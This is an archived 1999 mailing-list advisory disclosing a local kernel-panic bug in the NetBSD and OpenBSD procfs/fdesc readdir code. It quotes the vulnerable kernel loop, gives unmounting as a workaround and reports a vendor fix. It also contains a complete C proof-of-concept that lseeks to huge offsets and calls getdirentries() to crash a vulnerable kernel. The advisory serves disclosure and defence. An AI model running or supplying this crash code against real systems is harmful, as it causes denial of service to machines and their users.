serious problem in netbsd/openbsd procfs/fdesc

From: cstone (cstoneat_private)
Date: Fri Aug 13 1999 - 04:04:11 PDT

  • Next message: Chuck Rock: "Re: IIS 4.0 remote DoS (MS99-029)"

    Greetings.
    
    I have found a nasty bug in the fdesc and procfs filesystems included with
    NetBSD and OpenBSD.  Any user with access to a mounted procfs/fdesc
    filesystem has the ability to cause a kernel panic.
    
    The problem is that the readdir vnodeop for both procfs and fdesc blindly uses
    the value of element uio_index of the struct uio (passed in by VOP_READDIR())
    as an index into an array, without first properly checking its size.
    sys_getdirentries(), which calls VOP_READDIR(), sets uio_index to the open
    file's f_offset, which is modified by lseek (among other things).
    
    Here's an illustration, taken from procfs_readdir() in OpenBSD's
    procfs_vnops.c:
    
        if (uio->uio_resid < UIO_MX)
            return (EINVAL);
        if (uio->uio_offset < 0)
            return (EINVAL);
    
        error = 0;
        i = uio->uio_offset;
    
    [...]
    
            for (pt = &proc_targets[i];
                 uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
                if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
                    continue;
    
    One way for a user to take advantage of this problem is as follows:  a user
    opens either a process-specific subdirectory (in the case of procfs) or the
    root directory (in the case of fdesc).  The user then sets the file offset
    to an unreasonably large (positive) number with lseek().  The user then calls
    getdirentries().
    
    A temporary solution is to unmount all instances of procfs and fdesc.  This
    is not likely to detrimentally affect anything.
    
    Here's example code that tries getdirentries() calls on directories after
    lseek()ing to high offsets.
    (warning: if your system is vulnerable, this is very likely to cause a kernel
    panic)
    
    --- cut here ---
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <dirent.h>
    
    main(int argc, char *argv[]) {
        int dirfd;
        unsigned long basep;
        unsigned long hmm;
        char buf[2048];
    
        if(argc < 2) {
            fprintf(stderr, "usage: %s directory\n", argv[0]);
            exit(1);
        }
    
        if((dirfd = open(argv[1], O_RDONLY)) == -1) {
            perror("open");
            exit(1);
        }
    
        for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
            if(lseek(dirfd, hmm, SEEK_SET) == -1) {
                perror("lseek");
                exit(1);
            }
    
    		/* address won't effectively change, but index variable used as a test
    		 * will be very large; kernel's loop should continue and break
    		 * something
    		 */
            if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
                perror("getdirentries");
                exit(1);
            }
        }
    	exit(0);
    }
    --- cut here ---
    
    This problem has existed since at least as far back as OpenBSD 2.3 and NetBSD
    1.3.2.
    
    Both NetBSD and OpenBSD have been contacted about this.  This has been fixed
    in the current OpenBSD tree and should soon be able from your nearest anoncvs
    server.  Thanks to deraadtat_private for a quick response.
    
    --
    <cstoneat_private>
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:56:12 PDT